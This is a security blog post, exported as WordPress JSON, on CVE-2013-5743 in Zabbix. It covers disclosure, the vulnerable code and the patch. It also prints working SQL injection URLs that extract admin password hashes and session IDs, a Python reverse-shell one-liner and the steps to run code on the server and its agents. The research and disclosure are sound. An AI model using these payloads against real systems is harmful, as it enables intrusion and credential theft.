{"id":10040,"date":"2013-10-04T18:53:44","date_gmt":"2013-10-04T16:53:44","guid":{"rendered":"https:\/\/www.corelan.be\/?p=10040"},"modified":"2013-10-04T18:53:44","modified_gmt":"2013-10-04T16:53:44","slug":"zabbix-sql-injectionrce-cve-2013-5743","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/","title":{"rendered":"Zabbix SQL Injection\/RCE - CVE-2013-5743"},"content":{"rendered":"<h3>Introduction<\/h3>\n\n<p>First off, please do not throw a tomato at me since this is not the typical Windows binary exploit article that is posted on Corelan!<\/p>\n<p>During a recent a penetration test, I encountered<strong> <\/strong>a host running Zabbix, an agent based monitoring application. Although I was unfamiliar with the product at the time, I decided to focus my efforts trying to exploit the application. While poking around I was able to find SQL Injection through one of the frontend pages. I was then able to get code execution using the built-in server functionality. Further, I was able to get code execution on all the agents the server controlled! I thought this would be an interesting article, so I decided to share.<\/p>\n<p>First, a little background.<\/p>\n<p>&#160;<\/p>\n<h3>Disclosure Timeline:<\/h3>\n<ul>\n<li>9\/11\/2013: Corelan contacts vendor for support contact<\/li>\n<li>9\/12\/2013: vendor replies back with lead dev contact information<\/li>\n<li>9\/16\/2013: Corelan makes initial contact with lead dev and asks vendor to agree with disclosure terms<\/li>\n<li>9\/16\/2013: Vendor agrees and asks for more information about the bug<\/li>\n<li>9\/16\/2013: Corelan sends bug report to vendor<\/li>\n<li>9\/23\/2013: Vendor confirms bug<\/li>\n<li>10\/2\/2013: Patch released by vendor<\/li>\n<\/ul>\n<p>Corelan would like to thank the Zabbix development team for being very responsive and quick to fix the issue.<\/p>\n<p>&#160;<\/p>\n<p>On Wednesday, October 2nd Zabbix released patch ZBX-7091 to address this and several other SQL Injection related issues.&#160; Further details regarding this patch can be found at the following URL:<\/p>\n<p><a title=\"https:\/\/support.zabbix.com\/browse\/ZBX-7091\" href=\"https:\/\/support.zabbix.com\/browse\/ZBX-7091\">https:\/\/support.zabbix.com\/browse\/ZBX-7091<\/a><\/p>\n<p>The CVE assigned to this vulnerability is CVE-2013-5743. There are other vulnerabilities that were combined with this CVE. Bernhard Schildendorfer from SEC Consultant Vulnerability lab also found SQL injection points through the Zabbix APIs. His advisory can be found here:<\/p>\n<p><a title=\"http:\/\/packetstormsecurity.com\/files\/123511\/SA-20131004-0.txt\" href=\"http:\/\/packetstormsecurity.com\/files\/123511\/SA-20131004-0.txt\">http:\/\/packetstormsecurity.com\/files\/123511\/SA-20131004-0.txt<\/a><\/p>\n<p>&#160;<\/p>\n<h3>Vendor Details<\/h3>\n<p>Zabbix is an open source, agent-based, monitoring and alert application used to correlate data from a wide range of clients.&#160; It's written in PHP and supports commonly user SQL databases like MySQL, PostgreSQL, and Orcale.<\/p>\n<p>From the vendor\u2019s site (<a href=\"http:\/\/www.zabbix.com\" target=\"_blank\" rel=\"noopener\">http:\/\/www.zabbix.com<\/a>):<\/p>\n<blockquote>\n<p>&#160;<\/p>\n<p>ZABBIX team's mission is to make a superior monitoring solution available and affordable for all.<\/p>\n<p>The company's flagship product is ZABBIX, one of the most popular open source monitoring software in the world. It is already used by a vast number of companies, who have chosen it due to real scalability, high and robust performance, ease of use and extremely low costs of ownership.<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Vulnerability Details<\/h3>\n<p>This particular vulnerability affects the httpmon.php script which, by default, is accessible via an unauthenticated session. This is due in part, to the fact that Zabbix comes preconfigured with a \u201cguest\u201d user account which is permitted \u201cZabbix user\u201d level permissions.&#160; With this, any unauthenticated request to a resource that is accessible with \u201cZabbix user\u201d permissions, the session ID of that request will automatically be associated with the \u201cguest\u201d user, effectively authenticating that user as \u201cguest\u201d.&#160; If the \u201cguest\u201d account has been disabled, valid account credentials will be required in order to trigger this vulnerability.&#160;&#160; <\/p>\n<p>In case you're wondering, you can disable the guest account from the admin panel.<\/p>\n<p>Looking at the screenshot below, we can see here that the applications parameter is susceptible to SQL Injection due to the lack of input validation applied to the \u201capplications\u201d parameter. By inserting a single quote (\u2018), the intended SQL query is escaped, throwing an exception error from the MySQL database server.<\/p>\n<p>&#160;<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix17.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix1\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix1\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix1_thumb2.png\" width=\"700\" height=\"172\" \/><\/a>&#160; <br \/>To determine the cause of this issue, we can follow the code path from the point in which the GET parameter is parsed.<\/p>\n<p>Here we can see that our user supplied value is parsed from the URL request and assigned to the $application variable.&#160; Next, the add2favorites() function is then called:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">foreach ($_REQUEST['applications'] as $application) { \n     add2favorites('web.httpmon.applications', $application); \n     }<\/pre>\n<p>Looking at the add2favorites function, we can see that $application variable is now referenced as $favid, which in turn is inserted into the $values array<strong>.<\/strong><em> <\/em><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">function add2favorites($favobj, <strong><font color=\"#ffff00\">$favid<\/font><\/strong>, $source = null) { \n     $favorites = get_favorites($favobj); \n    \n\n     foreach ($favorites as $favorite) { \n          if ($favorite['source'] == $source &amp;&amp; $favorite['value'] == $favid) { \n          return true; \n          } \n     } \n     DBstart(); \n     $values = array( \n          'profileid' =&gt; get_dbid('profiles', 'profileid'), \n          'userid' =&gt; CWebUser::$data['userid'], \n          'idx' =&gt; zbx_dbstr($favobj), \n          <font color=\"#ffff00\"><strong>'value_id' =&gt; $favid,<\/strong><\/font>\n          'type' =&gt; PROFILE_TYPE_ID \n);<\/pre>\n<p>The $values array<strong> <\/strong>is then used<strong> <\/strong>as part of an in-line SQL query.&#160; Looking at the code sample below<strong>,<\/strong> we can again see that no sanitization of our data has been performed prior to passing it as part of our SQL query.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">return DBend(DBexecute('INSERT INTO profiles ('.implode(', ', <strong><font color=\"#ffff00\">array_keys($values)<\/font><\/strong>).') VALUES ('.implode(', ', $values).')'));<\/pre>\n<p>&#160;<\/p>\n<h3>The patch<\/h3>\n<p>After reviewing the changes implemented by this patch, we can see that $values now calls the function \u201czbx_dbstr\u201d prior to executing our previously vulnerable SQL query:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">Index: frontends\/php\/include\/profiles.inc.php\n===================================================================\n--- frontends\/php\/include\/profiles.inc.php\t(revision 38884)\n+++ frontends\/php\/include\/profiles.inc.php\t(working copy)\n@@ -148,9 +148,9 @@\n \t\t\t'profileid' =&gt; get_dbid('profiles', 'profileid'),\n \t\t\t'userid' =&gt; self::$userDetails['userid'],\n \t\t\t'idx' =&gt; zbx_dbstr($idx),\n-\t\t\t$value_type =&gt; ($value_type == 'value_str') ? zbx_dbstr($value) : $value,\n-\t\t\t'type' =&gt; $type,\n-\t\t\t'idx2' =&gt; $idx2\n+\t\t\t<strong><font color=\"#ffff00\">$value_type =&gt; zbx_dbstr($value),<\/font><\/strong>\n+\t\t\t'type' =&gt; zbx_dbstr($type),\n+\t\t\t'idx2' =&gt; zbx_dbstr($idx2)\n \t\t);\n \t\treturn DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');\/\/ string value prepearing\n\nif (isset($DB['TYPE']) &amp;&amp; $DB['TYPE'] == ZBX_DB_MYSQL) {\n<strong><font color=\"#ffff00\">    function zbx_dbstr($var) {\n        if (is_array($var)) {\n            foreach ($var as $vnum =&gt; $value) {\n                $var[$vnum] = &quot;'&quot;.mysql_real_escape_string($value).&quot;'&quot;;\n            }\n            return $var;\n        }\n        return &quot;'&quot;.mysql_real_escape_string($var).&quot;'&quot;;\n    }<\/font><\/strong><\/pre>\n<p>To apply the patch simply copy it to the downloaded directory of Zabbix (~\/Downloads\/zabbix-2.0.8\/frontends) and run:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">patch -p1 <span style=\"color: #0000ff\">&lt;<\/span><span style=\"color: #800000\">fix.patch<\/span><\/pre>\n<p>Then copy the patched files over to your web directory:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">sudo cp \u2013r .\/* \/var\/www\/zabbix\/<\/pre>\n<h3>&#160;<\/h3>\n<h3>Leveraging SQL Injection<\/h3>\n<p>Generally at this time I am firing up <a href=\"http:\/\/sqlmap.org\/\">sqlmap<\/a> and doing my happy dance!<\/p>\n<p>Using the following query, we can extract the Administrator username and hash from the users table:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">http:\/\/zabbix.server\/zabbix\/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29<\/pre>\n<p>&#160;<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix21.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix2\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix2\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix2_thumb1.png\" width=\"700\" height=\"178\" \/><\/a><\/p>\n<p>Great! With this we can crack the md5 password and login as Admin! However, what if the password takes too long to crack and the user created a complex password?<\/p>\n<p>It was discovered during the assessment that the session identification (sid) for all users, including Admin, is stored in the Zabbix database in the sessions table. They appear to never be discarded unless specified by the Administrator (Auto-Logout which is disabled by default).<\/p>\n<p>The following is a screen shot of the Zabbix server displaying the values for the table sessions. The query is looking for the Admin session id\u2019s, which is user id 1. Status 0 will indicate an active session IDs not in use.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix31.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix3\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix3\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix3_thumb1.png\" width=\"700\" height=\"318\" \/><\/a><\/p>\n<p>It is possible to reuse one of these sessions id\u2019s, and bypass authentication, without knowing the Admin password. The same SQL injection technique used before can extract a valid session ID from the database.<\/p>\n<p>Using the following query, we can extract the Administrator session ID from the sessions table:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">http:\/\/zabbix.server\/zabbix\/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29<\/pre>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix41.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix4\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix4\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix4_thumb1.png\" width=\"700\" height=\"181\" \/><\/a><\/p>\n<p>It is then possible to replace the existing session ID in the cookie field with the one extracted to elevate the browser session with Administrative privileges.<\/p>\n<p>Example: SID = a7c3f4f6be308b74585f7cdf9d5f7650<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix52.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix5\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix5\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix5_thumb2.png\" width=\"700\" height=\"195\" \/><\/a><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix62.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix6\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix6\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix6_thumb2.png\" width=\"700\" height=\"583\" \/><\/a><\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Cool! We got Admin, now what?<\/h3>\n<p>One of Zabbix\u2019s&#160; built-in features allow user\u2019s to execute scripts on the server and agents it controls for monitoring purposes. We can leverage this built-in functionality&#160; in order to further our attack.<\/p>\n<p>Further information on Zabbix\u2019s script execution interface can be found at the following URL:<\/p>\n<p><a title=\"https:\/\/www.zabbix.com\/documentation\/2.2\/manual\/web_interface\/frontend_sections\/administration\/scripts\" href=\"https:\/\/www.zabbix.com\/documentation\/2.2\/manual\/web_interface\/frontend_sections\/administration\/scripts\">https:\/\/www.zabbix.com\/documentation\/2.2\/manual\/web_interface\/frontend_sections\/administration\/scripts<\/a><\/p>\n<p>&#160;<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix72.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix7\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix7\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix7_thumb2.png\" width=\"700\" height=\"192\" \/><\/a><\/p>\n<p>As we already have administrator permissions, we can deploy a script that will execute on the underlying operating system&#160; and since nearly every modern Linux distribution comes preconfigured with either Perl or Python (or both), we can abuse this in order to trigger a reverse shell from our target host back to us<strong>.<\/strong>&#160;<\/p>\n<p>Executing the following Python script from @pentestmonkey, will provide us with a remote command shell.<\/p>\n<p><a title=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\" href=\"https:\/\/web.archive.org\/web\/20201127175438\/http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet<\/a><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.0.0.1&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;\/bin\/sh&quot;,&quot;-i&quot;]);'<\/pre>\n<p>&#160;<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix82.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix8\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix8\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix8_thumb2.png\" width=\"700\" height=\"181\" \/><\/a><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix92.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix9\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix9\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix9_thumb2.png\" width=\"700\" height=\"216\" \/><\/a><\/p>\n<p>&#160;<\/p>\n<p>Now the question is, how do we trigger the script we saved on the server?<\/p>\n<p>&#160;<\/p>\n<h3>Code Execution<\/h3>\n<p>Fortunately for us, Zabbix includes the scripts_exec.php script in order to trigger the execution of our command shell.&#160; However, in order to do so we\u2019ll need to provide it with the correct parameters:<\/p>\n<p>The scripts_exec.php requires the following URL parameters to execute: <\/p>\n<ul>\n<li><strong>execute = 1<\/strong><\/li>\n<li><strong>scriptid = 4<\/strong><\/li>\n<ul>\n<li><em>The value is the number of scripts stored in scripts table in the database. This can be guessed, or enumerated with SQL injection. The default number of scripts in Zabbix is 3, so the next one would be 4.<\/em><\/li>\n<\/ul>\n<li><strong>sid = 585f7cdf9d5f7650<\/strong><\/li>\n<ul>\n<li><em>The last 16 characters in the session id.&#160; sid = a7c3f4f6be308b74585f7cdf9d5f7650<\/em><\/li>\n<\/ul>\n<li><strong>hostid = 10084<\/strong><\/li>\n<ul>\n<li><em>The value of host id can be found in the interface table in the database. This can be guessed, or enumerated with SQL injection. The default value of the Zabbix server (127.0.0.1) is 10084.<\/em><\/li>\n<\/ul>\n<\/ul>\n<p>Now time to test our script out and see if we can get code execution:<\/p>\n<p>http:\/\/zabbix.server\/zabbix\/scripts_exec.php?execute=1&scriptid=4&sid=585f7cdf9d5f7650&hostid=10084<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix101.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix10\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix10\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix10_thumb1.png\" width=\"700\" height=\"181\" \/><\/a><\/p>\n<p>&#160;<\/p>\n<p>Woot! So we were able to get code execution through extracting the Administrator session ID and then creating our own script to give us a remote shell.<\/p>\n<p>&#160;<\/p>\n<p>Pyoor, a team member of Corelan, was nice enough to put everything together in a <a href=\"http:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/misc\/zabbix_server_exec\" target=\"_blank\" rel=\"noopener\">Metasploit module.<\/a><\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix_metasploit_1.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix_metasploit_1\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix_metasploit_1\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix_metasploit_1_thumb.png\" width=\"700\" height=\"236\" \/><\/a><\/p>\n<h3>&#160;<\/h3>\n<h3>Further Exploitation?<\/h3>\n<p>It was also discovered that it is possible through the scripts functionality in Zabbix to execute the same commands on all agents associated with the Zabbix server. The one condition is they have to have the following configuration parameter turned on, which is <u>off by default<\/u>.<\/p>\n<p><a title=\"https:\/\/www.zabbix.com\/documentation\/2.0\/manual\/config\/notifications\/action\/operation\/remote_command\" href=\"https:\/\/www.zabbix.com\/documentation\/2.0\/manual\/config\/notifications\/action\/operation\/remote_command\">https:\/\/www.zabbix.com\/documentation\/2.0\/manual\/config\/notifications\/action\/operation\/remote_command<\/a><\/p>\n<p>zabbix_agentd.conf:<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; border-left: #cecece 1px solid; padding-right: 5px; width: 97%; background-color: #191919\">### Option: EnableRemoteCommands\n# Whether remote commands from Zabbix server are allowed.\n# 0 - not allowed\n# 1 - allowed\n#\n# Mandatory: no\n# Default:\n# EnableRemoteCommands=0<\/pre>\n<p>&#160;<\/p>\n<p>However, it is not unusual for system administrators to enable the remote commands option in the agents.<\/p>\n<p>Lets go ahead through the theory. First we would need to extract the agent from the interface table.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix111.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix11\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix11\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix11_thumb1.png\" width=\"700\" height=\"204\" \/><\/a><\/p>\n<p>We can see that we have an agent running on IP 192.168.2.9 with a hostid of 10085. Next we will create a sample script to see if remote commands is enabled. This is actually very easy to test since the server command and agent response is sent in clear text.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix122.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix12\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix12\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix12_thumb2.png\" width=\"700\" height=\"475\" \/><\/a><\/p>\n<p>Next we have the Zabbix server execute the script (using the same scripts_exe.php script) and we can see the results over Wireshark:<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix132.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix13\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix13\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix13_thumb2.png\" width=\"700\" height=\"187\" \/><\/a><\/p>\n<p>With remote commands disabled we can see that it does not execute the script. If we go ahead and enable remote commands on the agent and try the script again:<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix142.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix14\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix14\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix14_thumb2.png\" width=\"700\" height=\"426\" \/><\/a><\/p>\n<p>Excellent! So if we have remote commands enabled on the agent it is then possible get a shell on the agent through the Zabbix server. All we need to do is:<\/p>\n<ul>\n<li>Extract hostid from interface table<\/li>\n<li>Create script with agent hostid and modify few options in the script functionality (choose execute on zabbix agent instead of server)<\/li>\n<li>Test remote commands is enabled<\/li>\n<li>Execute script<\/li>\n<\/ul>\n<p>If we modify our Metasploit script:<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix152.png\"><img loading=\"lazy\" decoding=\"async\" title=\"zabbix15\" style=\"border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; float: none; padding-top: 0px; padding-left: 0px; margin: 7px auto; border-left: 0px; display: block; padding-right: 0px\" border=\"0\" alt=\"zabbix15\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix15_thumb2.png\" width=\"700\" height=\"245\" \/><\/a><\/p>\n<p>I will leave this exercise up to the reader if you want to write a post module. \ud83d\ude42<\/p>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>Introduction First off, please do not throw a tomato at me since this is not the typical Windows binary exploit article that is posted on Corelan! During a recent a penetration test, I encountered a host running Zabbix, an agent based monitoring application. Although I was unfamiliar with the product at the time, I decided &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Zabbix SQL Injection\/RCE - CVE-2013-5743\"<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[2732,3351,2394],"tags":[2970,1824],"class_list":["post-10040","post","type-post","status-publish","format-standard","hentry","category-pentesting","category-sql-injection-webapp-security","category-webapp-security","tag-sql-injection","tag-metasploit"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Zabbix SQL Injection\/RCE - CVE-2013-5743 - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Zabbix SQL Injection\/RCE - CVE-2013-5743 - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Introduction First off, please do not throw a tomato at me since this is not the typical Windows binary exploit article that is posted on Corelan! During a recent a penetration test, I encountered a host running Zabbix, an agent based monitoring application. Although I was unfamiliar with the product at the time, I decided &hellip; Continue reading &quot;Zabbix SQL Injection\/RCE - CVE-2013-5743&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2013\/10\/04\/zabbix-sql-injectionrce-cve-2013-5743\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2013-10-04T16:53:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/10\/zabbix1_thumb2.png\" \/>\n<meta name=\"author\" content=\"Corelan Team (Lincoln)\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" 